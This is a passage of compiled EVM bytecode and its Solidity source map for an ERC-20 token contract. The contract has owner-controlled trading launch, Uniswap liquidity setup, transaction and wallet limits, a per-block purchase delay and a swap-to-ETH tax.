51b815260040161041290611739565b61055a6009600a611868565b61056890633b9aca00611877565b600f556105776009600a611868565b61058590633b9aca00611877565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bf6009600a611868565b6105cd90633b9aca00611877565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260040161041290611739565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106539030906106456009600a611868565b6104a190633b9aca00611877565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca919061188e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610750919061188e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561079d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c1919061188e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161041290611739565b601454600160a01b900460ff16156108675760405162461bcd60e51b815260206004820152601960248201527f74726164696e6720697320616c726561647920656e61626c65000000000000006044820152606401610412565b6013546001600160a01b031663f305d7194730610899816001600160a01b031660009081526001602052604090205490565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610916573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093b91906118ab565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b891906118d9565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103de338484610b46565b6001600160a01b038316610a415760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610412565b6001600160a01b038216610aa25760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610b42573d6000803e3d6000fd5b5050565b6001600160a01b038316610baa5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e3a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b038216610c0c5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e3a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b60008111610c6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610412565b601454600160b01b900460ff161580610c905750601454600160a81b900460ff165b15610ca557610ca08383836110b4565b505050565b600080546001600160a01b03858116911614801590610cd257506000546001600160a01b03848116911614155b1561105557610d036064610cfd600b54600e5411610cf257600754610cf6565b6009545b859061115a565b906111e3565b60065490915060ff1615610deb576013546001600160a01b03848116911614801590610d3d57506014546001600160a01b03848116911614155b15610deb57326000908152600560205260409020544311610dd85760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610412565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610e1657506013546001600160a01b03848116911614155b8015610e3b57506001600160a01b03831660009081526003602052604090205460ff16155b15610f2357600f54821115610e925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610412565b60105482610eb5856001600160a01b031660009081526001602052604090205490565b610ebf91906118fb565b1115610f0d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610412565b600e8054906000610f1d8361190e565b91905055505b6014546001600160a01b038481169116148015610f4957506001600160a01b0384163014155b15610f7657610f736064610cfd600c54600e5411610f6957600854610cf6565b600a54859061115a565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610fad57506014546001600160a01b038581169116145b8015610fc25750601454600160b01b900460ff165b8015610fd15750600d54600e54115b8015610ff657506001600160a01b03851660009081526003602052604090205460ff16155b801561101b57506001600160a01b03841660009081526003602052604090205460ff16155b1561105357601154811115611047576110476110428461103d84601254611225565b611225565b61123a565b4761105147610b04565b505b505b61107484848361106588876113b4565b61106f8787611412565b611454565b50505050565b6000818484111561109e5760405162461bcd60e51b81526004016104129190611610565b5060006110ab8486611927565b95945050505050565b6001600160a01b0383166000908152600160205260409020546110d79082611412565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111069082611583565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af79085815260200190565b60008260000361116c575060006103e2565b60006111788385611877565b905082611185858361193a565b146111dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610412565b9392505050565b60006111dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e2565b600081831161123457826111dc565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112825761128261195c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ff919061188e565b816001815181106113125761131261195c565b6001600160a01b03928316602091820292909201015260135461133891309116846109df565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611371908590600090869030904290600401611972565b600060405180830381600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6001600160a01b03821660009081526003602052604081205460ff1680156113e557506001600160a01b0383163014155b80156113f957506001600160a01b03831615155b1561123457600a5461140b908361115a565b90506103e2565b60006111dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107a565b82156114ce57306000908152600160205260409020546114749084611583565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114c59087815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546114f19083611412565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546115209082611583565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115749085815260200190565b60405180910390a35050505050565b60008061159083856118fb565b9050838110156111dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610412565b600081836116035760405162461bcd60e51b81526004016104129190611610565b5060006110ab848661193a565b600060208083528351808285015260005b8181101561163d57858101830151858201604001528201611621565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461167357600080fd5b50565b6000806040838503121561168957600080fd5b82356116948161165e565b946020939093013593505050565b6000806000606084860312156116b757600080fd5b83356116c28161165e565b925060208401356116d28161165e565b929592945050506040919091013590565b6000602082840312156116f557600080fd5b81356111dc8161165e565b6000806040838503121561171357600080fd5b823561171e8161165e565b9150602083013561172e8161165e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bf5781600019048211156117a5576117a561176e565b808516156117b257918102915b93841c9390800290611789565b509250929050565b6000826117d6575060016103e2565b816117e3575060006103e2565b81600181146117f957600281146118035761181f565b60019150506103e2565b60ff8411156118145761181461176e565b50506001821b6103e2565b5060208310610133831016604e8410600b8410161715611842575081810a6103e2565b61184c8383611784565b80600019048211156118605761186061176e565b029392505050565b60006111dc60ff8416836117c7565b80820281158282048414176103e2576103e261176e565b6000602082840312156118a057600080fd5b81516111dc8161165e565b6000806000606084860312156118c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118eb57600080fd5b815180151581146111dc57600080fd5b808201808211156103e2576103e261176e565b6000600182016119205761192061176e565b5060010190565b818103818111156103e2576103e261176e565b60008261195757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c25784516001600160a01b03168352938301939183019160010161199d565b50506001600160a01b0396909616606085015250505060800152939250505056fe546f6b656e3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b83096529aa95a607c64d5a8379c9c1f009fdbe49818657583f3ca1d669d7da964736f6c63430008150033

Deployed Bytecode Sourcemap

3821:9813:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5795:83;;;;;;;;;;-1:-1:-1;5865:5:0;;;;;;;;;;;;-1:-1:-1;;;5865:5:0;;;;5795:83;;;;;;;:::i;:::-;;;;;;;;6664:186;;;;;;;;;;-1:-1:-1;6664:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6664:186:0;1023:187:1;12610:99:0;;;;;;;;;;;;;:::i;:::-;;5040:55;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5040:55:0;1215:177:1;6066:95:0;;;;;;;;;;;;;:::i;6856:446::-;;;;;;;;;;-1:-1:-1;6856:446:0;;;;;:::i;:::-;;:::i;5977:83::-;;;;;;;;;;-1:-1:-1;5977:83:0;;4659:1;2000:36:1;;1988:2;1973:18;5977:83:0;1858:184:1;6167:119:0;;;;;;;;;;-1:-1:-1;6167:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6260:18:0;6233:7;6260:18;;;:9;:18;;;;;;;6167:119;2858:148;;;;;;;;;;;;;:::i;12303:201::-;;;;;;;;;;;;;:::i;4849:56::-;;;;;;;;;;;;;;;;12715:391;;;;;;;;;;;;;:::i;2648:79::-;;;;;;;;;;-1:-1:-1;2686:7:0;2713:6;2648:79;;-1:-1:-1;;;;;2713:6:0;;;2445:51:1;;2433:2;2418:18;2648:79:0;2299:203:1;4912:58:0;;;;;;;;;;;;;;;;5884:87;;;;;;;;;;-1:-1:-1;5956:7:0;;;;;;;;;;;;-1:-1:-1;;;5956:7:0;;;;5884:87;;13112:484;;;;;;;;;;;;;:::i;6292:192::-;;;;;;;;;;-1:-1:-1;6292:192:0;;;;;:::i;:::-;;:::i;4977:56::-;;;;;;;;;;;;;;;;4202:40;;;;;;;;;;-1:-1:-1;4202:40:0;;;;;;;;6490:168;;;;;;;;;;-1:-1:-1;6490:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6623:18:0;;;6596:7;6623:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6490:168;6664:186;6764:4;6781:39;295:10;6804:7;6813:6;6781:8;:39::i;:::-;-1:-1:-1;6838:4:0;6664:186;;;;;:::o;12610:99::-;2773:6;;-1:-1:-1;;;;;2773:6:0;295:10;2773:22;2765:67;;;;-1:-1:-1;;;2765:67:0;;;;;;;:::i;:::-;;;;;;;;;12666:35:::1;12679:21;12666:12;:35::i;:::-;12610:99::o:0;6066:95::-;6119:7;4715:15;4659:1;4715:2;:15;:::i;:::-;4702:28;;:10;:28;:::i;:::-;6139:14;;6066:95;:::o;6856:446::-;6988:4;7005:36;7015:6;7023:9;7034:6;7005:9;:36::i;:::-;7052:220;7075:6;295:10;7123:138;7179:6;7123:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7123:19:0;;;;;;:11;:19;;;;;;;;295:10;7123:33;;;;;;;;;;:37;:138::i;:::-;7052:8;:220::i;:::-;-1:-1:-1;7290:4:0;6856:446;;;;;:::o;2858:148::-;2773:6;;-1:-1:-1;;;;;2773:6:0;295:10;2773:22;2765:67;;;;-1:-1:-1;;;2765:67:0;;;;;;;:::i;:::-;2965:1:::1;2949:6:::0;;2928:40:::1;::::0;-1:-1:-1;;;;;2949:6:0;;::::1;::::0;2928:40:::1;::::0;2965:1;;2928:40:::1;2996:1;2979:19:::0;;-1:-1:-1;;;;;;2979:19:0::1;::::0;;2858:148::o;12303:201::-;2773:6;;-1:-1:-1;;;;;2773:6:0;295:10;2773:22;2765:67;;;;-1:-1:-1;;;2765:67:0;;;;;;;:::i;:::-;4715:15:::1;4659:1;4715:2;:15;:::i;:::-;4702:28;::::0;:10:::1;:28;:::i;:::-;12357:12;:22:::0;4715:15:::1;4659:1;4715:2;:15;:::i;:::-;4702:28;::::0;:10:::1;:28;:::i;:::-;12390:14;:24:::0;12425:20:::1;:28:::0;;-1:-1:-1;;12425:28:0::1;::::0;;12469:27:::1;4715:15;4659:1;-1:-1:-1::0;4715:15:0::1;:::i;:::-;4702:28;::::0;:10:::1;:28;:::i;:::-;12469:27;::::0;1361:25:1;;;1349:2;1334:18;12469:27:0::1;;;;;;;12303:201::o:0;12715:391::-;2773:6;;-1:-1:-1;;;;;2773:6:0;295:10;2773:22;2765:67;;;;-1:-1:-1;;;2765:67:0;;;;;;;:::i;:::-;12767:15:::1;:104:::0;;-1:-1:-1;;;;;;12767:104:0::1;12818:42;12767:104:::0;;::::1;::::0;;;12882:58:::1;::::0;12899:4:::1;::::0;4715:15:::1;4659:1;4715:2;:15;:::i;:::-;4702:28;::::0;:10:::1;:28;:::i;12882:58::-;12985:15;;;;;;;;;-1:-1:-1::0;;;;;12985:15:0::1;-1:-1:-1::0;;;;;12985:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12967:55:0::1;;13045:4;13065:15;;;;;;;;;-1:-1:-1::0;;;;;13065:15:0::1;-1:-1:-1::0;;;;;13065:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12967:131;::::0;-1:-1:-1;;;;;;12967:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;12967:131:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;12967:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12951:13;:147:::0;;-1:-1:-1;;;;;;12951:147:0::1;-1:-1:-1::0;;;;;12951:147:0;;;::::1;::::0;;;::::1;::::0;;12715:391::o;13112:484::-;2773:6;;-1:-1:-1;;;;;2773:6:0;295:10;2773:22;2765:67;;;;-1:-1:-1;;;2765:67:0;;;;;;;:::i;:::-;13169:13:::1;::::0;-1:-1:-1;;;13169:13:0;::::1;;;13168:14;13160:52;;;::::0;-1:-1:-1;;;13160:52:0;;5716:2:1;13160:52:0::1;::::0;::::1;5698:21:1::0;5755:2;5735:18;;;5728:30;5794:27;5774:18;;;5767:55;5839:18;;13160:52:0::1;5514:349:1::0;13160:52:0::1;13223:15;::::0;-1:-1:-1;;;;;13223:15:0::1;:31;13262:21;13307:4;13327:24;13307:4:::0;-1:-1:-1;;;;;6260:18:0;6233:7;6260:18;;;:9;:18;;;;;;;6167:119;13327:24:::1;13366:1;13382::::0;13398:7:::1;2686::::0;2713:6;-1:-1:-1;;;;;2713:6:0;;2648:79;13398:7:::1;13223:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13223:223:0;;;-1:-1:-1;;;;;6227:15:1;;;13223:223:0::1;::::0;::::1;6209:34:1::0;6259:18;;;6252:34;;;;6302:18;;;6295:34;;;;6345:18;;;6338:34;6409:15;;;6388:19;;;6381:44;13420:15:0::1;6441:19:1::0;;;6434:35;6143:19;;13223:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13464:13:0::1;::::0;13495:15:::1;::::0;13457:71:::1;::::0;-1:-1:-1;;;13457:71:0;;-1:-1:-1;;;;;13495:15:0;;::::1;13457:71;::::0;::::1;6965:51:1::0;-1:-1:-1;;7032:18:1;;;7025:34;13464:13:0;::::1;::::0;-1:-1:-1;13457:29:0::1;::::0;6938:18:1;;13457:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13539:11:0::1;:18:::0;;-1:-1:-1;;;;13568:20:0;-1:-1:-1;;;13568:20:0;;;13112:484::o;6292:192::-;6395:4;6412:42;295:10;6436:9;6447:6;6412:9;:42::i;7308:335::-;-1:-1:-1;;;;;7401:19:0;;7393:68;;;;-1:-1:-1;;;7393:68:0;;7554:2:1;7393:68:0;;;7536:21:1;7593:2;7573:18;;;7566:30;7632:34;7612:18;;;7605:62;-1:-1:-1;;;7683:18:1;;;7676:34;7727:19;;7393:68:0;7352:400:1;7393:68:0;-1:-1:-1;;;;;7480:21:0;;7472:68;;;;-1:-1:-1;;;7472:68:0;;7959:2:1;7472:68:0;;;7941:21:1;7998:2;7978:18;;;7971:30;8037:34;8017:18;;;8010:62;-1:-1:-1;;;8088:18:1;;;8081:32;8130:19;;7472:68:0;7757:398:1;7472:68:0;-1:-1:-1;;;;;7551:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7603:32;;1361:25:1;;;7603:32:0;;1334:18:1;7603:32:0;;;;;;;;7308:335;;;:::o;12510:94::-;12567:12;;:29;;:12;;;;-1:-1:-1;;;;;12567:12:0;;:29;;;;;;;;;;;;:12;:29;;;;;;;;;;;;;;;;;;;;;12510:94;:::o;7888:2978::-;-1:-1:-1;;;;;7976:18:0;;7968:68;;;;-1:-1:-1;;;7968:68:0;;8362:2:1;7968:68:0;;;8344:21:1;8401:2;8381:18;;;8374:30;8440:34;8420:18;;;8413:62;-1:-1:-1;;;8491:18:1;;;8484:35;8536:19;;7968:68:0;8160:401:1;7968:68:0;-1:-1:-1;;;;;8055:16:0;;8047:64;;;;-1:-1:-1;;;8047:64:0;;8768:2:1;8047:64:0;;;8750:21:1;8807:2;8787:18;;;8780:30;8846:34;8826:18;;;8819:62;-1:-1:-1;;;8897:18:1;;;8890:33;8940:19;;8047:64:0;8566:399:1;8047:64:0;8139:1;8130:6;:10;8122:64;;;;-1:-1:-1;;;8122:64:0;;9172:2:1;8122:64:0;;;9154:21:1;9211:2;9191:18;;;9184:30;9250:34;9230:18;;;9223:62;-1:-1:-1;;;9301:18:1;;;9294:39;9350:19;;8122:64:0;8970:405:1;8122:64:0;8202:11;;-1:-1:-1;;;8202:11:0;;;;8201:12;;:22;;-1:-1:-1;8217:6:0;;-1:-1:-1;;;8217:6:0;;;;8201:22;8197:108;;;8240:32;8255:4;8261:2;8265:6;8240:14;:32::i;:::-;7888:2978;;;:::o;8197:108::-;8315:17;2713:6;;-1:-1:-1;;;;;8351:15:0;;;2713:6;;8351:15;;;;:32;;-1:-1:-1;2686:7:0;2713:6;-1:-1:-1;;;;;8370:13:0;;;2713:6;;8370:13;;8351:32;8347:2413;;;8412:208;8616:3;8412:181;8476:15;;8464:9;;:27;8463:111;;8560:14;;8463:111;;;8520:12;;8463:111;8412:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8639:20;;8400:220;;-1:-1:-1;8639:20:0;;8635:522;;;8720:15;;-1:-1:-1;;;;;8706:30:0;;;8720:15;;8706:30;;;;:83;;-1:-1:-1;8775:13:0;;-1:-1:-1;;;;;8761:28:0;;;8775:13;;8761:28;;8706:83;8680:462;;;8895:9;8866:39;;;;:28;:39;;;;;;8908:12;-1:-1:-1;8832:213:0;;;;-1:-1:-1;;;8832:213:0;;9582:2:1;8832:213:0;;;9564:21:1;9621:2;9601:18;;;9594:30;9660:34;9640:18;;;9633:62;9731:34;9711:18;;;9704:62;-1:-1:-1;;;9782:19:1;;;9775:40;9832:19;;8832:213:0;9380:477:1;8832:213:0;9097:9;9068:39;;;;:28;:39;;;;;9110:12;9068:54;;8680:462;9201:13;;-1:-1:-1;;;;;9193:21:0;;;9201:13;;9193:21;:72;;;;-1:-1:-1;9249:15:0;;-1:-1:-1;;;;;9235:30:0;;;9249:15;;9235:30;;9193:72;:116;;;;-1:-1:-1;;;;;;9287:22:0;;;;;;:18;:22;;;;;;;;9286:23;9193:116;9171:438;;;9362:12;;9352:6;:22;;9344:60;;;;-1:-1:-1;;;9344:60:0;;10064:2:1;9344:60:0;;;10046:21:1;10103:2;10083:18;;;10076:30;10142:27;10122:18;;;10115:55;10187:18;;9344:60:0;9862:349:1;9344:60:0;9479:14;;9469:6;9453:13;9463:2;-1:-1:-1;;;;;6260:18:0;6233:7;6260:18;;;:9;:18;;;;;;;6167:119;9453:13;:22;;;;:::i;:::-;:40;;9423:140;;;;-1:-1:-1;;;9423:140:0;;10548:2:1;9423:140:0;;;10530:21:1;10587:2;10567:18;;;10560:30;10626:28;10606:18;;;10599:56;10672:18;;9423:140:0;10346:350:1;9423:140:0;9582:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9171:438;9633:13;;-1:-1:-1;;;;;9627:19:0;;;9633:13;;9627:19;:44;;;;-1:-1:-1;;;;;;9650:21:0;;9666:4;9650:21;;9627:44;9623:332;;;9704:235;9935:3;9704:204;9776:16;;9764:9;;:28;9763:122;;9870:15;;9763:122;;;9825:13;;9704:6;;:32;:204::i;:235::-;9692:247;;9623:332;10018:4;9969:28;6260:18;;;:9;:18;;;;;;10062:6;;-1:-1:-1;;;10062:6:0;;;;10061:7;:47;;;;-1:-1:-1;10095:13:0;;-1:-1:-1;;;;;10089:19:0;;;10095:13;;10089:19;10061:47;:79;;;;-1:-1:-1;10129:11:0;;-1:-1:-1;;;10129:11:0;;;;10061:79;:130;;;;;10173:18;;10161:9;;:30;10061:130;:176;;;;-1:-1:-1;;;;;;10213:24:0;;;;;;:18;:24;;;;;;;;10212:25;10061:176;:220;;;;-1:-1:-1;;;;;;10259:22:0;;;;;;:18;:22;;;;;;;;10258:23;10061:220;10039:710;;;10342:17;;10319:20;:40;10316:205;;;10384:117;10427:51;10431:6;10439:38;10443:20;10465:11;;10439:3;:38::i;:::-;10427:3;:51::i;:::-;10384:16;:117::i;:::-;10586:21;10679:35;10692:21;10679:12;:35::i;:::-;10297:452;10039:710;8385:2375;8347:2413;10770:88;10788:4;10794:2;10798:9;10809:25;10822:4;10827:6;10809:12;:25::i;:::-;10836:21;:6;10847:9;10836:10;:21::i;:::-;10770:17;:88::i;:::-;7957:2909;7888:2978;;;:::o;1462:224::-;1582:7;1618:12;1610:6;;;;1602:29;;;;-1:-1:-1;;;1602:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1642:9:0;1654:5;1658:1;1654;:5;:::i;:::-;1642:17;1462:224;-1:-1:-1;;;;;1462:224:0:o;7649:233::-;-1:-1:-1;;;;;7753:15:0;;;;;;:9;:15;;;;;;:27;;7773:6;7753:19;:27::i;:::-;-1:-1:-1;;;;;7735:15:0;;;;;;;:9;:15;;;;;;:45;;;;7807:13;;;;;;;:25;;7825:6;7807:17;:25::i;:::-;-1:-1:-1;;;;;7791:13:0;;;;;;;:9;:13;;;;;;;:41;;;;7848:26;;;;;;;;;;7867:6;1361:25:1;;1349:2;1334:18;;1215:177;1692:246:0;1750:7;1774:1;1779;1774:6;1770:47;;-1:-1:-1;1804:1:0;1797:8;;1770:47;1827:9;1839:5;1843:1;1839;:5;:::i;:::-;1827:17;-1:-1:-1;1872:1:0;1863:5;1867:1;1827:17;1863:5;:::i;:::-;:10;1855:56;;;;-1:-1:-1;;;1855:56:0;;11398:2:1;1855:56:0;;;11380:21:1;11437:2;11417:18;;;11410:30;11476:34;11456:18;;;11449:62;-1:-1:-1;;;11527:18:1;;;11520:31;11568:19;;1855:56:0;11196:397:1;1855:56:0;1929:1;1692:246;-1:-1:-1;;;1692:246:0:o;1944:132::-;2002:7;2029:39;2033:1;2036;2029:39;;;;;;;;;;;;;;;;;:3;:39::i;11701:107::-;11758:7;11790:1;11786;:5;11785:15;;11799:1;11785:15;;;-1:-1:-1;11795:1:0;11701:107;-1:-1:-1;11701:107:0:o;11814:483::-;5377:6;:13;;-1:-1:-1;;;;5377:13:0;-1:-1:-1;;;5377:13:0;;;11916:16:::1;::::0;;11930:1:::1;11916:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11916:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11916:16:0::1;11892:40;;11961:4;11943;11948:1;11943:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11943:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11987:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11987:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11943:7;;11987:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11977:4;11982:1;11977:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11977:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12052:15:::1;::::0;12020:62:::1;::::0;12037:4:::1;::::0;12052:15:::1;12070:11:::0;12020:8:::1;:62::i;:::-;12093:15;::::0;:196:::1;::::0;-1:-1:-1;;;12093:196:0;;-1:-1:-1;;;;;12093:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12174:11;;12093:15:::1;::::0;12216:4;;12243::::1;::::0;12263:15:::1;::::0;12093:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5413:6:0;:14;;-1:-1:-1;;;;5413:14:0;;;-1:-1:-1;;;;11814:483:0:o;11448:247::-;-1:-1:-1;;;;;11549:24:0;;11526:7;11549:24;;;:18;:24;;;;;;;;:49;;;;-1:-1:-1;;;;;;11577:21:0;;11593:4;11577:21;;11549:49;:70;;;;-1:-1:-1;;;;;;11602:17:0;;;;11549:70;11546:112;;;11628:13;;:30;;11646:11;11628:17;:30::i;:::-;11621:37;;;;1320:136;1378:7;1405:43;1409:1;1412;1405:43;;;;;;;;;;;;;;;;;:3;:43::i;10872:570::-;11065:13;;11061:204;;11140:4;11122:24;;;;:9;:24;;;;;;:71;;11169:9;11122:28;:71::i;:::-;11113:4;11095:24;;;;:9;:24;;;;;;;:98;;;;11213:40;;-1:-1:-1;;;;;11213:40:0;;;;;;;11243:9;1361:25:1;;1349:2;1334:18;;1215:177;11213:40:0;;;;;;;;11061:204;-1:-1:-1;;;;;11293:15:0;;;;;;:9;:15;;;;;;:33;;11313:12;11293:19;:33::i;:::-;-1:-1:-1;;;;;11275:15:0;;;;;;;:9;:15;;;;;;:51;;;;11353:13;;;;;;;:32;;11371:13;11353:17;:32::i;:::-;-1:-1:-1;;;;;11337:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11401:33;;;;;;;;;;11420:13;1361:25:1;;1349:2;1334:18;;1215:177;11401:33:0;;;;;;;;10872:570;;;;;:::o;1135:179::-;1193:7;;1225:5;1229:1;1225;:5;:::i;:::-;1213:17;;1254:1;1249;:6;;1241:46;;;;-1:-1:-1;;;1241:46:0;;13049:2:1;1241:46:0;;;13031:21:1;13088:2;13068:18;;;13061:30;13127:29;13107:18;;;13100:57;13174:18;;1241:46:0;12847:351:1;2082:223:0;2202:7;2237:12;2230:5;2222:28;;;;-1:-1:-1;;;2222:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2261:9:0;2273:5;2277:1;2273;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214